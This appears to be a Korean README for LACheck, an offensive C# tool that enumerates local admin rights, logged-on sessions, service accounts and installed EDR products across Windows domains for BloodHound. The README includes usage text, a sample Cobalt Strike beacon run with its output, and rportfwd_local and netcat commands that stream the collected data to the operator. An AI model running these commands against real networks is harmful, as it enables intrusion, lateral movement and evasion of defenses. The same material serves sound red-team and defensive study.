
SMB, WMI, WinRM을 통해 Windows 호스트 전반에서 로컬 관리자 권한을 열거하는 멀티스레드 C# .NET 어셈블리로, BloodHound 통합을 통한 Active Directory 정찰 기능을 제공합니다.
멀티스레드 C# .NET Assembly 로컬 관리 권한 열거
> ./LACheck.exe help
_ _____ _ _
| | /\ / ____| | | |
| | / \ | | | |__ ___ ___| | __
| | / /\ \ | | | '_ \ / _ \/ __| |/ /
| |____ / ____ \ | |____| | | | __/ (__| <
|______/_/ \_\ \_____|_| |_|\___|\___|_|\_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]
Local Admin Checks:
smb - C$ 공유에 접근 시도
rpc - RPC를 통해 Win32_ComputerSystem 클래스 공급자에 WMI 쿼리 시도
winrm - WinRM 세션을 통해 Win32_ComputerSystem 클래스 공급자에 WMI 쿼리 시도
Arguments:
/bloodhound - BloodHound에서 사용 가능한 AdminTo 및 Session 수집 파일 생성
출력 파일은 무작위 이름과 암호로 압축 및 암호화됨
/dc - 쿼리할 도메인 컨트롤러 지정 (도메인 가입 호스트에서 실행되지 않은 경우)
/domain - 도메인 이름 지정 (도메인 가입 호스트에서 실행되지 않은 경우)
/edr - 호스트에서 EDR 확인 (smb, rpc 또는 winrm 필요)
/logons - 호스트에 로그온한 사용자 반환 (smb, rpc 또는 winrm 필요)
/registry - 레지스트리 하이브에서 세션 열거 (smb 필요)
/services - 사용자로 실행 중인 서비스 반환 (smb, rpc 또는 winrm 필요)
/socket - BloodHound 출력을 디스크에 쓰지 않고 TCP 소켓으로 전송
예: ""127.0.0.1:8080""
/targets - 확인할 호스트 이름의 쉼표로 구분된 목록
/threads - 최대 병렬 스레드 수 지정 (기본값=25)
/user - 수집이 실행된 사용자 이름 지정 (토큰 조작 시 유용)
/validate - 대상 스캔 전에 도메인에 대해 자격 증명 확인 (토큰 조작 시 유용)
/verbose - 추가 로깅 정보 출력
/ou - LDAP OU를 지정하여 활성화된 컴퓨터 개체 쿼리
예: "OU=Special Servers,DC=example,DC=local"
/ldap - 다음 LDAP 필터에서 호스트 쿼리:
:all - 'primary' 그룹 'Domain Computers'를 가진 모든 활성화된 컴퓨터
:dc - 모든 활성화된 도메인 컨트롤러 (읽기 전용 DC 제외)
:exclude-dc - 도메인 컨트롤러 또는 읽기 전용 DC가 아닌 모든 활성화된 컴퓨터
:servers - 모든 활성화된 서버
:servers-exclude-dc - 도메인 컨트롤러 또는 읽기 전용 DC를 제외한 모든 활성화된 서버
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
위 예제 출력에서 볼 수 있듯이 IP 주소 10.10.10.10의 호스트에서 WinRM을 확인하려고 하면 WinRM 클라이언트가 IP 주소를 통해 호스트에 인증을 시도하지 않기 때문에 오류가 발생합니다.
WinRM 액세스를 확인할 때는 호스트 이름을 사용하세요.
/targets, /ldap, /ou 플래그는 모두 함께 사용하거나 별도로 사용하여 열거할 호스트 목록을 생성할 수 있습니다.
이 플래그에서 반환된 모든 호스트는 열거가 시작되기 전에 결합 및 중복 제거됩니다.
LACheck는 AdminTo 및 Session 수집 결과를 BloodHound에 업로드할 수 있는 JSON 출력으로 작성하는 것을 지원합니다.
이 출력은 단일 사용자에 대한 업데이트된 관리 권한과 관리 권한이 확인된 호스트에서 수집된 세션 데이터로 기존 BloodHound 수집을 보강하기 위한 것입니다.
/bloodhound 스위치는 무작위로 이름이 지정된 암호화된 zip 파일을 디스크에 작성하며, 이를 다운로드하여 추출하고 BloodHound에 업로드할 수 있습니다.
BloodHound는 사용자 및 컴퓨터를 SID로 확인해야 합니다. Cobalt Strike의 make_token 및 kerberos_ticket_use와 같은 가장 기술로 인해 LACheck는 수집에 대한 사용자 컨텍스트를 정확하게 결정하지 못할 수 있습니다. /user 인수는 LACheck가 수집 정보를 정확하게 연관시키기 위해 실행되는 컨텍스트의 userprincipalname(형식 = [email protected])을 제공하는 데 필요합니다.
BloodHound 출력은 디스크에 쓰는 대신 TCP 소켓으로 전송할 수 있습니다.
TCP 연결이 실패하면 BloodHound 출력이 디스크에 기록됩니다.
Cobalt Strike 비콘에서 TCP 연결은 rportfwd_local을 사용하여 호스트에서 운영자의 로컬 머신으로 전달될 수 있습니다:
rportfwd_local 8888 127.0.0.1 8888
운영자는 netcat을 사용하여 TCP 스트림의 출력을 로컬 파일로 파이프할 수 있습니다:
nc -lvnp 8888 > computers.json
- = 구현되지 않음
harleyQu1nn의 EDR.cna 스크립트에서 영감을 받음
Directory.GetFiles 메서드는 다음 위치에서 드라이버 목록을 반환합니다:
드라이버는 EDR 공급업체에서 사용하는 알려진 드라이버 목록과 대조됩니다.
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
NetWkstaUserEnum은 대화형, 서비스 및 배치 로그온이 있는 사용자 목록을 반환합니다.
WTSEnumerateSessionsA는 호스트의 RDP 세션 목록을 반환합니다.
WTSQuerySessionInformationA는 각 RDP 세션에 대한 자세한 정보를 검색합니다.
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
\\Computer\HKEY_USERS\ 하이브의 SID를 반복하며, 각 SID에 대해 Volatile Environment에 접근을 시도하고 USERDOMAIN 및 USERNAME 키에서 값을 검색합니다.
이 방법은 원격 호스트에서 Remote Registry 서비스가 실행 중이어야 합니다. 실행 중이 아닌 경우:
Automatic으로 변경됩니다.각 호스트를 열거하는 과정이 여러 단계로 이루어질 수 있으므로 이 방법은 대체 기술에 비해 느릴 수 있습니다. smb /logons가 더 빠릅니다.
[registry] WEB01 - contoso\devadmin (svcadmin)
ServiceController.GetServices Method는 호스트의 서비스 목록을 검색합니다.
각 서비스는 실행되도록 구성된 사용자를 확인하기 위해 쿼리됩니다.
각 서비스를 개별적으로 쿼리해야 하므로 이 방법은 대체 기술에 비해 느릴 수 있습니다. wmi /services가 더 빠릅니다.
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
harleyQu1nn의 EDR.cna 스크립트에서 영감을 받음
CIM_DataFile class는 다음 위치에서 드라이버 목록을 반환합니다:
드라이버는 EDR 공급업체에서 사용하는 알려진 드라이버 목록과 대조됩니다.
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
Win32_LoggedOnUser class는 로그온된 세션 목록을 반환합니다. Win32_LogonSession class는 각 세션에 대한 자세한 정보를 반환합니다.
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
Win32_UserProfile class를 쿼리하여 시스템의 사용자 프로필에 대한 SID를 검색합니다.
StdRegProv 클래스의 EnumKey 메서드는 \\Computer\HKEY_USERS\ 하이브를 검색하고 반환된 각 SID에 대해 Volatile Environment에 접근하여 USERDOMAIN 및 USERNAME 키에서 값을 검색합니다.
[registry] WEB01 - contoso\devadmin (svcadmin)
Win32_Service class를 쿼리하여 서비스의 이름, 사용자 및 상태를 검색합니다.
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
각 WMI 검사는 WMI 리소스 및 WMI 열거를 WinRM을 통해 사용하여 구현됩니다.
이렇게 하면 PowerShell runspace 사용을 피할 수 있습니다.
| SMB | WMI | WinRM |
|---|
| /edr | 빠름 | 빠름 | 빠름 |
| /logons | 빠름 | 빠름 | 빠름 |
| /services | 느림 | 빠름 | 빠름 |
| /registry | 느림 | 빠름 | - |